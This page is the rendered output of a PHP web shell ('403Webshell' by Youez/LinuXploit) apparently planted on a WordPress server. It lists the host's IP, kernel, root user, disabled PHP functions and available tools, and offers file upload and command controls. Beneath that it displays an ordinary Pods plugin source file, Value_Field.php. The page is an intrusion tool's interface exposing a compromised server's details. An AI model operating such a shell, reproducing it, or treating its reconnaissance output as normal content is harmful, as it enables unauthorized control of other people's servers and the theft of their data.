403Webshell
Server IP : 151.101.66.159  /  Your IP : 216.73.216.66
Web Server : Flywheel/5.1.0
System : Linux wordpress 6.12.113+ #1 SMP Thu Oct 22 02:38:20 UTC 2026 x86_64
User : root ( )
PHP Version : 7.4.33.18
Disable Function : disk_free_space,diskfreespace,dl,exec,fpassthru,getmypid,getmyuid,highlight_file,link,opcache_compile_file,opcache_get_configuration,opcache_is_script_cached,passthru,pcntl_alarm,pcntl_exec,pcntl_fork,pcntl_get_last_error,pcntl_getpriority,pcntl_setpriority,pcntl_signal,pcntl_signal_dispatch,pcntl_sigprocmask,pcntl_sigtimedwait,pcntl_sigwaitinfo,pcntl_strerror,pcntl_wait,pcntl_waitpid,pcntl_wexitstatus,pcntl_wifcontinued,pcntl_wifexited,pcntl_wifsignaled,pcntl_wifstopped,pcntl_wstopsig,pcntl_wtermsig,phpinfo,popen,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_close,proc_get_status,proc_nice,proc_open,proc_terminate,shell_exec,show_source,socket_listen,source,system,virtual
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wp-content/plugins/pods/src/Pods/API/Whatsit/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wp-content/plugins/pods/src/Pods/API/Whatsit/Value_Field.php
<?php

namespace Pods\API\Whatsit;

// Don't load directly.
if ( ! defined( 'ABSPATH' ) ) {
	die( '-1' );
}

use Pods\Whatsit;
use Pods\Whatsit\Field;
use Pods\Whatsit\Object_Field;

/**
 * Value_Field class.
 *
 * @property string $value Value of field.
 *
 * @since 2.8.0
 */
class Value_Field implements \ArrayAccess {

	/**
	 * Value of field.
	 *
	 * @var mixed
	 */
	protected $_value = null;

	/**
	 * The field object.
	 *
	 * @var Field|Object_Field
	 */
	protected $_field;

	/**
	 * Value_Field constructor.
	 *
	 * @param Whatsit $field The field object.
	 */
	final public function __construct( Whatsit $field ) {
		$this->_field = $field;
	}

	/**
	 * Easy to reference init static function for array_map() to use.
	 *
	 * @param Whatsit $field The field object.
	 *
	 * @return Value_Field
	 */
	public static function init( Whatsit $field ) {
		return new static( $field );
	}

	/**
	 * On cast to string, return object identifier.
	 *
	 * @return string Object identifier.
	 *
	 * @uses Whatsit::__toString()
	 */
	public function __toString(): string {
		return $this->_field->get_identifier();
	}

	/**
	 * Check if offset exists.
	 *
	 * @param mixed $offset Offset name.
	 *
	 * @return bool Whether the offset exists.
	 */
	public function offsetExists( $offset ): bool {
		return $this->__isset( $offset );
	}

	/**
	 * Get offset value.
	 *
	 * @param mixed $offset Offset name.
	 *
	 * @return mixed|null Offset value, or null if not set.
	 */
	#[\ReturnTypeWillChange]
	public function &offsetGet( $offset ) {
		// We fake the pass by reference to avoid PHP errors for backcompat.
		$value = $this->__get( $offset );

		return $value;
	}

	/**
	 * Set offset value.
	 *
	 * @param mixed $offset Offset name.
	 * @param mixed $value  Offset value.
	 */
	public function offsetSet( $offset, $value ): void {
		if ( null === $offset ) {
			// Do not allow $object[] additions.
			return;
		}

		$this->__set( $offset, $value );
	}

	/**
	 * Unset offset value.
	 *
	 * @param mixed $offset Offset name.
	 */
	public function offsetUnset( $offset ): void {
		$this->__unset( $offset );
	}

	/**
	 * Check if offset exists.
	 *
	 * @param mixed $name Offset name.
	 *
	 * @return bool Whether the offset exists.
	 *
	 * @uses Whatsit::__isset()
	 */
	public function __isset( $name ): bool {
		if ( 'value' === $name ) {
			return isset( $this->_value );
		}

		return $this->_field->__isset( $name );
	}

	/**
	 * Get offset value.
	 *
	 * @param mixed $name Offset name.
	 *
	 * @return mixed|null Offset value, or null if not set.
	 *
	 * @uses Whatsit::__get()
	 */
	#[\ReturnTypeWillChange]
	public function __get( $name ) {
		if ( 'value' === $name ) {
			return $this->_value;
		}

		return $this->_field->__get( $name );
	}

	/**
	 * Set offset value.
	 *
	 * @param mixed $name Offset name.
	 * @param mixed $value  Offset value.
	 *
	 * @uses Whatsit::__set()
	 */
	public function __set( $name, $value ): void {
		if ( 'value' === $name ) {
			$this->_value = $value;

			return;
		}

		$this->_field->__set( $name, $value );
	}

	/**
	 * Unset offset value.
	 *
	 * @param mixed $name Offset name.
	 *
	 * @uses Whatsit::__unset()
	 */
	public function __unset( $name ): void {
		if ( 'value' === $name ) {
			$this->_value = null;

			return;
		}

		$this->_field->__unset( $name );
	}

	/**
	 * Call a method on the field.
	 *
	 * @param string $name      The method name.
	 * @param array  $arguments List of arguments.
	 *
	 * @return mixed The method response.
	 */
	#[\ReturnTypeWillChange]
	public function __call( $name, $arguments ) {
		return call_user_func_array( [ $this->_field, $name ], $arguments );
	}

	/**
	 * Get the field object.
	 *
	 * @return Whatsit|Field|Object_Field The field object.
	 */
	public function get_field_object() {
		return $this->_field;
	}

	/**
	 * Get the field value.
	 *
	 * @return mixed The field value.
	 */
	public function get_field_value() {
		return $this->_value;
	}

	/**
	 * Set the field object.
	 *
	 * @param Whatsit|Field|Object_Field The field object.
	 */
	public function set_field_object( $field ) {
		$this->_field = $field;
	}

	/**
	 * Set the field value.
	 *
	 * @param mixed The field value.
	 */
	public function set_field_value( $value ) {
		$this->_value = $value;
	}

}

Youez - 2016 - github.com/yon3zu
LinuXploit